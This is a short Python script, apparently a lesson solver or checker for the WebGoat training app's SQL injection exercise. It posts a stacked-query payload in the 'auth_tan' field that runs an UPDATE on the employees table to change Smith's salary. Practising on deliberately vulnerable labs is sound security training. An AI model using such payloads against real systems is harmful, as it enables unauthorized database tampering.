#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests

def verify(arg,**kwargs):
    result = {
        'text':''
    }
    payload = "3SL99A'; update employees set salary= '88888' where last_name='Smith"
    data = {
        "name": 'Smith',
        "auth_tan":payload 
    }
    path = "/WebGoat/SqlInjection/attack9"
    urlPath = arg['url'] + path
    headers = arg['requests']['headers']
    response = requests.post(url=urlPath,headers=headers,data=data)
    result['text'] = response.text
    return result